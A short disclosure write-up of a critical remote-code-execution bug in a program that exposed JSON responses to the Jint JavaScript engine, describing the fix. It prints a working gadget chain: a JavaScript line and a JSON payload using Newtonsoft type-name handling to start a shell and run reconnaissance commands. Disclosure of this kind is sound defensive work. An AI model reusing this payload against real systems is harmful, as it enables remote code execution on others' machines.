A bug bounty hunter found a CVSS 9.9 RCE vulnerability in a six-year-old program.
The program exposed JSON responses from HTTP requests to Jint as JObjects to allow users to interact with them using JavaScript. Assumed this was safe because CLR interop was disabled in the Jint configuration.
Jint uses reflection-based method resolution on CLR types regardless of the CLR interop settings. A ToObject() call on a JObject activates Newtonsoft.Json’s deserializer. Together, these formed a gadget chain from attacker-controlled JSON payload to System.Diagnostics.Process:
data.ToObject(cfg).Start(psi.ToObject(cfg)).StandardOutput.ReadToEnd();
The script triggers the deserialization of the following malicious JSON payload using a serializer configured with TypeNameHandling.All, constructs a Process, starts it, and reads its output:
{
"data": {"$type": "System.Diagnostics.Process, System.Diagnostics.Process"},
"psi": {
"$type": "System.Diagnostics.ProcessStartInfo, System.Diagnostics.Process",
"FileName": "/bin/sh",
"ArgumentList": ["-c", "id; hostname; uname -sm; head -2 /etc/os-release"],
"RedirectStandardOutput": true,
"UseShellExecute": false
},
"cfg": {"TypeNameHandling": 3}
}
Objects that implement IDictionary<string, object> bypass Jint’s method resolution system. Fixed the vulnerability by converting all objects that cross the CLR-JavaScript boundary to ExpandoObjects. Jint interprets them as native JS objects. Also blocked reflection types from reaching Jint to prevent variant exploits.